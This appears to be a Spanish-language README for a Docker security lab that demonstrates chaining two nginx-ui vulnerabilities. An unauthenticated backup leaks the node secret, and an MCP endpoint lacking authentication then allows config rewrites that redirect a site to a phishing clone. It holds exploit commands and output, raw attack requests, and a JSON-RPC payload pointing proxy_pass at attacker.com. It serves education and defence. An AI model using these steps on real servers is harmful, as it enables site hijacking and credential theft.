
Docker Compose setup para demostrar la vulnerabilidad de autenticación faltante en nginx-ui
Aviso legal: Este repositorio está destinado únicamente a fines educativos y de investigación de seguridad autorizada. Todas las técnicas demostradas aquí solo deben utilizarse contra sistemas que poseas o para los que tengas permiso explícito por escrito. Los autores no aceptan ninguna responsabilidad por el mal uso. No ejecutes esto contra ningún sistema sin autorización.
Un laboratorio autónomo con Docker Compose que demuestra una cadena de dos CVEs contra nginx-ui v2.3.1 que logra la toma completa de nginx con cero conocimiento previo — sin nombres de usuario, sin contraseñas, sin tokens.
GET /api/backup no requiere autenticación. El endpoint devuelve una copia de seguridad cifrada completa de la instalación de nginx-ui — incluyendo app.ini — y envía la clave de descifrado AES-256-CBC y el IV en texto plano en la cabecera de la respuesta:
X-Backup-Security: <base64_key>:<base64_iv>
Del código fuente (api/backup/router.go):
r.GET("/backup", CreateBackup) // ❌ sin middleware
r.POST("/restore", middleware.EncryptedForm(), RestoreBackup)
Descifrar la copia de seguridad produce app.ini, que contiene el [node] Secret necesario para el Paso 2.
| CVE | CVE-2026-27944 (GHSA-g9w5-qffc-6762) |
| CVSS | 9.8 Crítico |
| Afecta | nginx-ui < 2.3.2 |
| Corregido en | nginx-ui 2.3.3 |
nginx-ui v2.3.x añadió una interfaz de Protocolo de Contexto de Modelo (MCP) que expone 12 herramientas de gestión de nginx. El fallo es una única llamada de middleware ausente en mcp/router.go:
r.Any("/mcp", middleware.IPWhiteList(), middleware.AuthRequired(), ...)
r.Any("/mcp_message", middleware.IPWhiteList(), ...) // ❌ FALTA AuthRequired()
Con un sessionId obtenido mediante el secreto de nodo, un atacante puede hacer POST a /mcp_message sin credenciales de usuario e invocar cualquier herramienta privilegiada — incluyendo nginx_config_modify y reload_nginx.
| CVE | CVE-2026-33032 |
| Alias | MCPwn (Pluto Security) |
| CVSS | 9.8 Crítico |
| Afecta | nginx-ui ≤ 2.3.3 |
| Corregido en | nginx-ui 2.3.4 |
┌──────────────────────────────────────────────────────────┐
│ Navegador │
│ http://localhost:8080 ──► nginx_ui (:80) │
│ │ │
│ Atacante ▼ │
│ http://localhost:9000 ──► nginx_ui (:9000) VULNERABLE │
│ (sin credenciales) uozi/nginx-ui:v2.3.1 │
│ │
│ ┌─────────────────────────┐ │
│ │ webapp (verde) │ formulario │
│ │ proxy_pass predeterminado│ de inicio de │
│ └─────────────────────────┘ sesión legítimo│
│ ┌─────────────────────────┐ │
│ │ malicious_site (rojo) │ clon de │
│ │ proxy_pass tras ataque │ phishing │
│ └─────────────────────────┘ recopila creds │
└──────────────────────────────────────────────────────────┘
nginx-ui incluye su propia instancia de nginx. Cuando el exploit llama a reload_nginx mediante MCP, recarga el mismo nginx que sirve tráfico en :8080 — sin necesidad de acceso al host.
Requisitos: Docker + Docker Compose + Python 3.10+
git clone <repo-url>
cd nginx-ui-vuln-lab
docker compose up -d
| URL | |
|---|---|
http://localhost:8080 | Sitio víctima — verde (legítimo) |
http://localhost:9000 | Panel de administración de nginx-ui |
pip install -r exploit/requirements.txt
python3 exploit/exploit.py --url http://localhost:9000
El script encadena ambos CVEs sin credenciales previas:
==============================================================
CVE-2026-27944 + CVE-2026-33032 — nginx-ui Zero-Cred RCE
Objetivo : http://localhost:9000
==============================================================
[*] CVE-2026-27944 — descargando copia de seguridad (sin auth)
[+] Clave AES+IV de la cabecera: kW3pCR7RLawHFVeF...:oTr+K3Bd...
[+] Secreto de nodo extraído: 605f228e-2480-49ec-8dd2-045d8d8a073f
[*] CVE-2026-33032 — abriendo sesión MCP sin autenticación (GET /mcp)
[+] sessionId: ee83906e-ee26-4d65-83f8-91d62b00770a
[*] Reconocimiento — leyendo configuración actual
[+] Actual: proxy_pass http://webapp:80;
[*] Sobrescribiendo default.conf mediante POST /mcp_message (sin auth)
[+] Nuevo: proxy_pass http://malicious_site:80;
[*] Recargando nginx mediante POST /mcp_message (sin auth)
[+] nginx recargado — la configuración está activa
[!] Ataque completado.
Las víctimas en http://localhost:8080/ ahora reciben la página de phishing.
Ver credenciales capturadas: http://localhost:8080/?debug=1
Tras el exploit, http://localhost:8080 cambia de la página legítima verde al clon de phishing rojo — en la misma URL, sin ninguna indicación para la víctima.
Abre http://localhost:8080/?debug=1 para revelar el panel del atacante y ver las credenciales capturadas en tiempo real.
python3 exploit/exploit.py --url http://localhost:9000 --reset
Utiliza la misma cadena de CVEs para restaurar la configuración original y recargar nginx.
GET /api/backup HTTP/1.1
Host: target:9000
Respuesta:
HTTP/1.1 200 OK
X-Backup-Security: <base64_key>:<base64_iv>
Content-Type: application/zip
Descifra el zip con la clave/IV proporcionados → extrae app.ini → lee [node] Secret.
Petición 1 — Abrir sesión SSE (secreto de nodo, sin autenticación de usuario):
GET /mcp?node_secret=<uuid>
El flujo SSE responde con un sessionId.
Petición 2+ — Invocar herramientas (sin autenticación alguna):
POST /mcp_message?sessionId=<uuid>
Content-Type: application/json
{
"jsonrpc": "2.0", "id": 1, "method": "tools/call",
"params": {
"name": "nginx_config_modify",
"arguments": {
"relative_path": "default.conf",
"content": "server { location / { proxy_pass http://attacker.com; } }",
"sync_overwrite": false
}
}
}
Sin cabecera Authorization. Sin cookie. AuthRequired() simplemente está ausente en la ruta /mcp_message.
| Herramienta | Impacto |
|---|---|
nginx_config_modify | Sobrescribir cualquier archivo de configuración |
nginx_config_add | Crear nuevos archivos de configuración |
nginx_config_get | Leer cualquier archivo de configuración |
nginx_config_list | Listar todas las configuraciones |
nginx_config_enable/disable | Activar/desactivar configuraciones de sitios |
nginx_config_rename | Mover/renombrar archivos de configuración |
nginx_config_mkdir | Crear directorios |
nginx_config_history | Ver historial de cambios |
nginx_config_base_path | Revelar la ruta raíz de configuración |
nginx_status | Comprobar el estado de nginx |
reload_nginx | Aplicar cambios de configuración en vivo |
restart_nginx | Reinicio completo de nginx |
[node] IPWhiteList no vacío en app.ini para restringir el acceso MCP a IPs específicas/etc/nginx/conf.d/ con monitorización de integridad de archivos (auditd, Wazuh, etc.)